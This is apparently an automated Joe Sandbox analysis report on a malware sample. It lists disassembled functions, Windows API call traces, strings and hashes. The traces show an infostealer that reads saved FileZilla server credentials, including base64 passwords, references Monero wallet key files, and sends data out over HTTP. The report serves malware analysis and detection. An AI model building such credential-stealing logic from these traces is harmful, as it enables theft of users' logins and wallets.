Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -'
API String ID: 0-3264590126
Opcode ID: 2c398867269c7c3608090a967fced33845cc0df50a69f30e89dbeb0662eabfa9
Instruction ID: e7f90f7d4451212fdf0135dc53c95aa7ec2c72510935802353c8181c9db9647e
Opcode Fuzzy Hash: 2c398867269c7c3608090a967fced33845cc0df50a69f30e89dbeb0662eabfa9
Instruction Fuzzy Hash: BE5137F7E086204BE3046A7CDD9936ABA95DB84360F2B473D9FA4A37C4E879490542C6

Function 00D07E51 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

Jz*, xrefs: 00D07ECD

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Jz*
API String ID: 0-1480151498
Opcode ID: 47d6035f38114b09d245796e636111a533071a9b0f936282b026b169a7f73d4d
Instruction ID: 85ac4171c6d6a2b05428331655c19f1ab5c078b7e459d4a869a81463bde9b1e8
Opcode Fuzzy Hash: 47d6035f38114b09d245796e636111a533071a9b0f936282b026b169a7f73d4d
Instruction Fuzzy Hash: 3931D6F290D212DBD3046E68E88173ABBE4EF04310F16096DEAC98B340E575A95087D7

Function 00D311CF Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

7}2, xrefs: 00D311D3

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7}2
API String ID: 0-325700841
Opcode ID: 4ab09fb644115971205ba9a52d17570a4f00ac6068e28078895580fd49129db2
Instruction ID: 906ad8622894a9dd60d8510a291a10f6d4cf4c5aa539716b7cd42d141597a1a0
Opcode Fuzzy Hash: 4ab09fb644115971205ba9a52d17570a4f00ac6068e28078895580fd49129db2
Instruction Fuzzy Hash: D2219CB251C304AFE316AF59DC8566AF7E4FF98710F16482DE6C483600E6319851CA97

Function 00CF5CAF Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 731578e2a6382e421e2a33123aa75e9b01139705ccb2a36bad8a977335fe3de5
Instruction ID: 7816d55a978f005a592bc5a323f3d0ef57592e67a0c4f3d5efadb5f7134cd069
Opcode Fuzzy Hash: 731578e2a6382e421e2a33123aa75e9b01139705ccb2a36bad8a977335fe3de5
Instruction Fuzzy Hash: 3451E4B260C6009FE304AF2ED94563AFBE9EFD4720F16492EE6C5C3340E6359845CA97

Function 00B48297 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7479435cc39330fe52bfa30d2c147eb58a85954f312c55e21e30a0b3036a1446
Instruction ID: 8466122834e4f1c98c4c3581487fd184088e9ef6988bc3390a09629b44f6e33a
Opcode Fuzzy Hash: 7479435cc39330fe52bfa30d2c147eb58a85954f312c55e21e30a0b3036a1446
Instruction Fuzzy Hash: 7141F9F3A082005FF714AE1EEC85B3BB7EAEBD4310F16853DDA8987344E93958058696

Function 00C58B20 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8665575f1cacb09aac3f8976913dbdf8979332d0ca8b23bdf33a5443104bfec
Instruction ID: c1b96f9a28387710c603c0f4f48de0f769923da85df60dfa378115642e3c72e4
Opcode Fuzzy Hash: d8665575f1cacb09aac3f8976913dbdf8979332d0ca8b23bdf33a5443104bfec
Instruction Fuzzy Hash: 863137F3A182046BF3046929ED457BB77CADBD4330F2E823DEA84D3780F93999054291

Function 008B9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 008B0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 008B8E0B

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

Part of subcall function 008A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008A99EC
Part of subcall function 008A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 008A9A11
Part of subcall function 008A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 008A9A31
Part of subcall function 008A99C0: ReadFile.KERNEL32(000000FF,?,00000000,008A148F,00000000), ref: 008A9A5A
Part of subcall function 008A99C0: LocalFree.KERNEL32(008A148F), ref: 008A9A90
Part of subcall function 008A99C0: CloseHandle.KERNEL32(000000FF), ref: 008A9A9A

Part of subcall function 008B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 008B8E52

GetProcessHeap.KERNEL32(00000000,000F423F,008C0DBA,008C0DB7,008C0DB6,008C0DB3), ref: 008B0362
RtlAllocateHeap.NTDLL(00000000), ref: 008B0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 008B0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008C0DB2), ref: 008B0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 008B03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008C0DB2), ref: 008B03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 008B0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008C0DB2), ref: 008B0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 008B0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008C0DB2), ref: 008B0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008C0DB2), ref: 008B0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008C0DB2), ref: 008B051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008C0DB2), ref: 008B0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008C0DB2), ref: 008B054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 008B0562
lstrcat.KERNEL32(?,profile: null), ref: 008B0571
lstrcat.KERNEL32(?,url: ), ref: 008B0580
lstrcat.KERNEL32(?,00000000), ref: 008B0593
lstrcat.KERNEL32(?,008C1678), ref: 008B05A2
lstrcat.KERNEL32(?,00000000), ref: 008B05B5
lstrcat.KERNEL32(?,008C167C), ref: 008B05C4
lstrcat.KERNEL32(?,login: ), ref: 008B05D3
lstrcat.KERNEL32(?,00000000), ref: 008B05E6
lstrcat.KERNEL32(?,008C1688), ref: 008B05F5
lstrcat.KERNEL32(?,password: ), ref: 008B0604
lstrcat.KERNEL32(?,00000000), ref: 008B0617
lstrcat.KERNEL32(?,008C1698), ref: 008B0626
lstrcat.KERNEL32(?,008C169C), ref: 008B0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008C0DB2), ref: 008B068E

Strings

<Port>, xrefs: 008B03C6
browser: FileZilla, xrefs: 008B0559
url: , xrefs: 008B0577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 008B02A4
<Pass encoding="base64">, xrefs: 008B045A
password: , xrefs: 008B05FB
<Host>, xrefs: 008B037C
<User>, xrefs: 008B0410
profile: null, xrefs: 008B0568
login: , xrefs: 008B05CA

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: f3116e5c8695dd53665b31b3e8510350e72040893dd3854d15a19aa1c54edc22
Instruction ID: 08ae1e4de1ac99f5262241dd893bbbffbf661f28d4e7f72a68360b596706b92d
Opcode Fuzzy Hash: f3116e5c8695dd53665b31b3e8510350e72040893dd3854d15a19aa1c54edc22
Instruction Fuzzy Hash: 84D11071900208ABDB08EBF8DD96EEE7778FF24700F544518F112E6291DF74AA46CB62

Function 008A5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

Part of subcall function 008A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 008A4839
Part of subcall function 008A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 008A4849

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 008A59F8
StrCmpCA.SHLWAPI(?,0142F028), ref: 008A5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 008A5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0142F098,00000000,?,01429CE8,00000000,?,008C1A1C), ref: 008A5E71
lstrlen.KERNEL32(00000000), ref: 008A5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 008A5E93
RtlAllocateHeap.NTDLL(00000000), ref: 008A5E9A
lstrlen.KERNEL32(00000000), ref: 008A5EAF
lstrlen.KERNEL32(00000000), ref: 008A5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 008A5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 008A5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 008A5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 008A5F4C
InternetCloseHandle.WININET(00000000), ref: 008A5FB0
InternetCloseHandle.WININET(00000000), ref: 008A5FBD
HttpOpenRequestA.WININET(00000000,0142F038,?,0142EB78,00000000,00000000,00400100,00000000), ref: 008A5BF8

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

InternetCloseHandle.WININET(00000000), ref: 008A5FC7

Strings

", xrefs: 008A5CD5
------, xrefs: 008A5C0B
------, xrefs: 008A5D4C
", xrefs: 008A5E16
------, xrefs: 008A5A96

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 522aa51892b073468585083d2333105e5de20b1091bfe9f494b4e5bb691e5b8a
Instruction ID: 9742a5b78a02ebb763496a27bb2fbcbcb5b14872c52cbb84525f26bf637a8e46
Opcode Fuzzy Hash: 522aa51892b073468585083d2333105e5de20b1091bfe9f494b4e5bb691e5b8a
Instruction Fuzzy Hash: F9121171820118BADB19EBA4DCD5FEEB378FF14700F404169B106E66A1DF706A4ACF66

Function 008ACEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

Part of subcall function 008B8B60: GetSystemTime.KERNEL32(008C0E1A,01429D18,008C05AE,?,?,008A13F9,?,0000001A,008C0E1A,00000000,?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008B8B86

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 008ACF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 008AD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 008AD0CE
lstrcat.KERNEL32(?,00000000), ref: 008AD208
lstrcat.KERNEL32(?,008C1478), ref: 008AD217
lstrcat.KERNEL32(?,00000000), ref: 008AD22A
lstrcat.KERNEL32(?,008C147C), ref: 008AD239
lstrcat.KERNEL32(?,00000000), ref: 008AD24C
lstrcat.KERNEL32(?,008C1480), ref: 008AD25B
lstrcat.KERNEL32(?,00000000), ref: 008AD26E
lstrcat.KERNEL32(?,008C1484), ref: 008AD27D
lstrcat.KERNEL32(?,00000000), ref: 008AD290
lstrcat.KERNEL32(?,008C1488), ref: 008AD29F
lstrcat.KERNEL32(?,00000000), ref: 008AD2B2
lstrcat.KERNEL32(?,008C148C), ref: 008AD2C1
lstrcat.KERNEL32(?,00000000), ref: 008AD2D4
lstrcat.KERNEL32(?,008C1490), ref: 008AD2E3

Part of subcall function 008BA820: lstrlen.KERNEL32(008A4F05,?,?,008A4F05,008C0DDE), ref: 008BA82B
Part of subcall function 008BA820: lstrcpy.KERNEL32(008C0DDE,00000000), ref: 008BA885

lstrlen.KERNEL32(?), ref: 008AD32A
lstrlen.KERNEL32(?), ref: 008AD339

Part of subcall function 008BAA70: StrCmpCA.SHLWAPI(01428860,008AA7A7,?,008AA7A7,01428860), ref: 008BAA8F

DeleteFileA.KERNEL32(00000000), ref: 008AD3B4

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
